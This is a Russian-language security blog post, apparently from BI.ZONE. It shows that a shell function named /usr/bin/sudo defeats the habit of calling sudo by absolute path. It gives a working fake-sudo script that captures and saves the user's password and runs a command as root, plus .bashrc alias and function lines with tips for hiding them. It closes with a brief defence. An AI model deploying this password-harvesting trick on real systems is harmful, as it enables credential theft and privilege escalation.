Pull to refresh
60.16

Так ли безопасно использование абсолютного пути в *nix системах, как мы привыкли считать?

Reading time 4 min
Views 26K

image


Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):


…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший “урожай” паролей.
…

Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.



Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.


Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.


Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.


Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.


Например, стандартный alias из .bashrc:


alias ll='ls -alF'

При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:


alias sudo='echo PWNED'

После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.


image{1.png}


Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.


А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:


function /usr/bin/sudo() {
        echo PWNED
}

Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.


image{2.png}


Следующий этап – написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.


В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.


Для начала пишем код ядовитого sudo:


#!/bin/bash

echo -n "[sudo] password for $LOGNAME: "
read -s password
echo

command='whoami'

eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"

Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права на исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config).


С помощью read -s password мы считываем пароль в переменную $password.
В переменной command='whoami' содержится команда, которую мы будем выполнять с повышенными правами.


Конструкция echo -e $password | sudo -S в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.


--prompt='' нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.


Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:


alias sudo='~/.local/.config'
function /usr/bin/sudo() {
        eval "~/.local/.config $*"
}

Проверяем:


image{3.png}


Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.


command="echo $password > ~/.local/.1"

Пробуем:


image{4.png}


Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su или sudo --help. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.


Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.


А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.


Спасибо за внимание :)

Tags:
Hubs:
+68
Comments 139
Comments Comments 139

Articles

Information

Website
bi.zone
Registered
Employees
501–1,000 employees
Location
Россия